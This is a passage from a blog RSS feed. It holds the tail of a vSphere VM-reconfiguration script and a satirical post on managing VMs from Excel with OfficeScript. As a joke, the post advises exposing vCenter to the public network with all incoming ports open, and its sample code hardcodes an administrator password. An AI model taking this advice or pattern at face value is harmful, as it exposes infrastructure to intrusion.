&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;vm_status&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;poweredOn&amp;#39;&lt;/span&gt;){     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;System&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;vm_status&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;System&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;sleep&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;2000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm_status&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;runtime&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;powerState&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;allProps&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;vAppConfig&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;allProps&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vmSpec&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;VcVirtualMachineConfigSpec&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#a6e22e&#34;&gt;vmSpec&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;vAppConfig&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;VcVmConfigSpec&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;dellIndex&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;allProps&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;key&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; Array()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;VcVAppPropertySpec&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;operation&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;VcArrayUpdateOperation&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;remove&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;removeKey_IntValue&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;dellIndex&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#a6e22e&#34;&gt;vmSpec&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;vAppConfig&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vmReconfigTask&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;reconfigVM_Task&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;vmSpec&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;powerOnVM_Task&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content>
    </item>
    
    <item>
      <title>intro to infrastructure as cells</title>
      <link>/posts/230420-infrastructure-as-cells/</link>
      <pubDate>Thu, 20 Apr 2023 00:00:00 +0000</pubDate>
      
      <guid>/posts/230420-infrastructure-as-cells/</guid>
      <description>intro Everyone knows that pain: you spend hours upon hours dealing with some software your management insists on using while all you really want to do is work with what really matters: spreadsheets.
Just imagine the world where instead of slogging through GUIs, debugging code and dealing with merge checks etc., all you needed to do is just fill in the cells, input formulas and apply table formatting. No more would you need to ever leave the warm embrace of inventory spreadsheets - they shall become your ultimate single pane of glass for anything in your infrastructure.</description>
      <content>&lt;h1 id=&#34;intro&#34;&gt;intro&lt;/h1&gt;
&lt;p&gt;Everyone knows that pain: you spend hours upon hours dealing with some software your management insists on using while all you really want to do is work with what really matters: &lt;strong&gt;spreadsheets&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Just imagine the world where instead of slogging through GUIs, debugging code and dealing with merge checks etc., all you needed to do is just fill in the cells, input formulas and apply table formatting. No more would you need to ever leave the warm embrace of inventory spreadsheets - they shall become your ultimate single pane of glass for anything in your infrastructure.&lt;/p&gt;
&lt;p&gt;Well, I have some good news for you: today is the day we challenge the status quo and move on from the overcomplicated Terraforms, Openstacks and VMwares of the world. We shall embrace the future and the cloud. It is the day when we finally start to automate with Excel!&lt;/p&gt;
&lt;p&gt;To showcase this groundbreaking approach to managing a modern Spreadsheet-Defined Datacenter (SDDC), we are going to implement a simple VM inventory spreadsheet which will deploy and manage the machines for us in vSphere*.&lt;/p&gt;
&lt;p&gt;*&lt;em&gt;you can apply a similar approach to AWS, Google Cloud etc; budget cuts prevented me from using them in this demo&lt;/em&gt;&lt;/p&gt;
&lt;h1 id=&#34;1-prerequisites&#34;&gt;1: prerequisites&lt;/h1&gt;
&lt;p&gt;Before we move on to the Infrastructure as Cells (IaC) design, we need to ensure our environment is ready for the innovation:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;if you decide to use Office365 version of Excel, make sure you connect the vCenter VM directly to a public network and open all incoming ports. We don&amp;rsquo;t want anything getting in the way of progress&lt;/li&gt;
&lt;li&gt;you might want to refresh your knowledge on TypeScript and JavaScript - language used in Excel automation, OfficeScript, is like a bastard son of the two&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id=&#34;2-the-spreadsheet&#34;&gt;2: the spreadsheet&lt;/h1&gt;
&lt;p&gt;Now, let&amp;rsquo;s move on to the core product behind this design - Microsoft Excel. Let&amp;rsquo;s open up a new spreadsheet and create a baseline fields for our automation/inventory. To keep it simple, let&amp;rsquo;s start with something like on the image below. You can of course expand it to your wildest needs or desires - deploying code via pipelines, configuring bare-metal&amp;hellip; everything is possible.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/230420-infrastructure-as-cells/empty_table.png&#34; alt=&#34;empty_table&#34;&gt;&lt;/p&gt;
&lt;p&gt;With that out of the way, we can now open the &amp;ldquo;Automate&amp;rdquo; tab on the tool ribbon and open up OfficeScript IDE by clicking the &amp;ldquo;New Script&amp;rdquo; button.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/230420-infrastructure-as-cells/ide.png&#34; alt=&#34;ide&#34;&gt;&lt;/p&gt;
&lt;h1 id=&#34;3-the-code&#34;&gt;3: the code&lt;/h1&gt;
&lt;p&gt;While I could go on and on about the details about the code you&amp;rsquo;re about to see, I trust my audience to be more than capable of following what&amp;rsquo;s happening here. Essentially, we are going to implement the base logic behind our spreadsheet and define all the functions needed to carry out VM deployment.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;d like to learn more about vSphere API you can follow &lt;a href=&#34;&#34;&gt;this link&lt;/a&gt; and to discover more about the magic of OfficeScript you can visit &lt;a href=&#34;&#34;&gt;this website&lt;/a&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-typescript&#34; data-lang=&#34;typescript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vcenterURL&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;https://vcsa.fake.ssh.guru&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vcenterUser&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;administrator@ssh.guru&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vcenterPass&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;doNotEverDoThis4Real!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;workbook&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;ExcelScript.Workbook&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;nameRow&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;A&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;templateRow&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;B&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// lets start small and expect up to 10 managed VMs
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;nameCell&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;nameRow&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; String(&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;templateCell&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;templateRow&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; String(&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;Console&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;deployVM&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;workbook&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;nameCell&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;templateCell&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34; created!&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;deployVM&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;workbook&lt;/span&gt;:&lt;span style=&#34;color:#66d9ef&#34;&gt;ExcelScript.Workbook&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;nameCell&lt;/span&gt;:&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;templateCell&lt;/span&gt;:&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;session&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;getVCsession&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;URL&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vcenterURL&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/api/vcenter/vm?action=clone&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;param&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;method&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;body&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;JSON.stringify&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;source&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;getData&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;templateCell&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;getData&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;nameCell&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;headers&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;vmware-api-session-id&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;session&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    };
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;res&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;await&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;fetch&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;URL&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;param&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;newVM&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;await&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;res&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;json&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;newVM&lt;/span&gt;[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;vmid&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;getVCsession() {&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;URL&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vcenterURL&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/api/session&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;secret&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;btoa&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;vcenterUser&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;:&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vcenterPass&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;secretHeader&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Basic &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;secret&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;param&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;method&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;headers&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Authorization&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;secretHeader&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    };
